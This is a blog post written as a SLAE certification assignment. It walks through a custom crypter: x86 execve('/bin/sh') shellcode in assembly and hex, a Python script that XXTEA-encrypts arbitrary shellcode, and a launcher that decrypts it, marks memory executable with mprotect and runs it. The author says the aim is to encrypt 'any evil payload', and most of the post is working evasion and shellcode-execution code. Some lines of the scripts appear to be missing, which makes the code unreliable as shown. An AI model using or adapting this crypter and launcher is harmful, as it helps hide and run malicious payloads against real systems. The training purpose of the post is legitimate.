Paolo Perego
Paolo Perego Specialista di sicurezza applicativa e certificato OSCP. Amo spaccare e ricostruire il codice in maniera più robusta, cintura nera di taekwon-do, marito e papà. Ranger Caotico buono, scrivo su @codiceinsicuro e @the_armoredcode.

Assignment #7: Create a custom crypter

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The seventh and last assignment is to create a custom crypter like the one shown in the “crypters” video. I’m free to use any existing encryption schema and I can use any programming language.

The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.

Choosing the encryption scheme

For this last assignment I want to use something quick and reliable to encrypt any evil payload. I started looking at TEA for its characteristics and implementations.

I choose to use XXTEA that it is an evolution of original algorithm to correct all weaknesses found.

This is a symmetric block cipher and the key must be 16 bytes long.


I will use python as programming language and the xxtea package that it is available with the following command:

pip install xxtea


The default behaviour is to select a 16 bytes long random key and use xxtea library facilities to encrypt the default shellcode that is the standard execve() shellcode used in assignment 4.

; Filename: 	execve.nasm
; Author:	Paolo Perego <>  
; Website:
; Blog post:
; Twitter:   	@thesp0nge
; SLAE-ID:    	1217
; Purpose:	This is the default payload for the customer encoder demo. It
; 		will execute "/bin/sh" using execve() system call.

global _start			

section .text

	xor eax, eax		; init EAX to 0
	push eax		; pushing 0 to the stack to be used as NULL
				; ending character for /bin/sh string
	; execve is defined as #define __NR_execve 11 in 
	; /usr/include/i386-linux-gnu/asm/unistd_32.h:
	; system call prototype is: 
        ; int execve(const char *filename, char *const argv[], 
	; 		char *const envp[]);

	push 0x68732f2f		; pushing //bin/sh into the stack
	push 0x6e69622f		; the init double / is for alignment purpose

	mov ebx, esp		; pointer to *filename

	; I will optimize further my execve-stack shellcode. Since I don't care
	; about passing parameters to my shell and to pass the environment
	; pointer, I can initialize to zero both ECX and EDX registers.
	; This will be equivalent to the call: execve("/bin/sh", 0, 0) that it
	; is legit.
	xor ecx, ecx
	xor edx, edx

	mov al, 0xb		; execve = 11
	int 0x80

However, the crypter tool accepts also a custom encryption key and a custom shellcode to be used instead of the default one.

Here you can find the source code for the crypter script:

#!/usr/bin/env python

import random, string, getopt, xxtea, sys

def help():
    print sys.argv[0] + " [options]"
    print "Valid options:"
    print "\t-h, --help: show this help"
    print "\t-k, --key: specify the encryption key"
    print "\t-s, --shellcode: specify the shellcode to be used"

    return 0

def generate_key():
    k=''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16));
    return k;

def encrypt(shellcode, key):
    enc = xxtea.encrypt(shellcode, key);
    return enc;

def main(argv):
    # Default behaviour is to generate a random key and to use an
    # execve("/bin/sh") shellcode
    key = generate_key();
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";

        opts, args=getopt.getopt(argv, "hk:s:", ["help", "key", "shellcode"] )
    except getopt.GetoptError:

    for opt, arg in opts:
        if opt in ('-h', '--help'):
        elif opt in ('-k', '--key'):
            if (len(key) != 16):
                print "The encryption key must be 16 byte long"
        elif opt in ('-s', '--shellcode'):
            shellcode=arg.replace('\\x', '').decode('hex')

    print "key: " + key;
    enc = encrypt(shellcode, key)
    sys.stdout.write("encrypted shellcode: \\x");
    print '\\x'.join(map("%2.2x".__mod__, map(ord, enc)));

if __name__ == "__main__":

Decrypt and launch

The launcher script is responsible for decrypting a given payload using a given decryption key. It may be redundant to recall but, since XXTEA is a Symmetric Cryptography algorithm, the decryption key is the one used to crypt the shellcode.

#!/usr/bin/env python
# Got rid of SEGFAULT using the solution provider here:

import random, string
import xxtea
import sys, time
import getopt
import fileinput
from ctypes import *

def help():
    print sys.argv[0] + " [options]"
    print "Valid options:"
    print "\t-h, --help: show this help"
    print "\t-k, --key: specify the decryption key"
    print "\t-e, --encrypted-shellcode: specify the encrypted payload"

    return 0

def decrypt(enc, key):
    return xxtea.decrypt(enc, key)

def main(argv):

    key = ""
    enc = ""

        opts, args=getopt.getopt(argv, "hk:e:", ["help", "key", "encrypted-shellcode"] )
    except getopt.GetoptError:

    for opt, arg in opts:
        if opt in ('-h', '--help'):
        elif opt in ('-k', '--key'):
        elif opt in ('-e', '--encrypted-shellcode'):
            enc = arg

    if not key:
        print "Please specify a decryption key using the -k flag";

    if not enc:
        print "Please specify a payload to decrypt using the -e flag";

    enc_b= enc.replace('\\x', '').decode('hex')

    shellcode_data=decrypt(enc_b, key);
    sys.stdout.write("decrypted shellcode: \\x")
    print '\\x'.join(map("%2.2x".__mod__, map(ord, shellcode_data)))

    print "launching the shellcode..."

    function  = cast(shellcode, CFUNCTYPE(None))

    addr = cast(function, c_void_p).value
    libc = CDLL('')
    pagesize = libc.getpagesize()
    addr_page = (addr // pagesize) * pagesize

    for page_start in range(addr_page, addr+len(shellcode_data), pagesize):
        assert libc.mprotect(page_start, pagesize, 0x7) == 0
if __name__ == "__main__":

Launching the shellcode is really hard stuff. I’ve to fight against tons of SEGFAULTS and this post saved me in getting rid of non executable bit protection for memory regions:

See it in action:

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1217

(Updated: )

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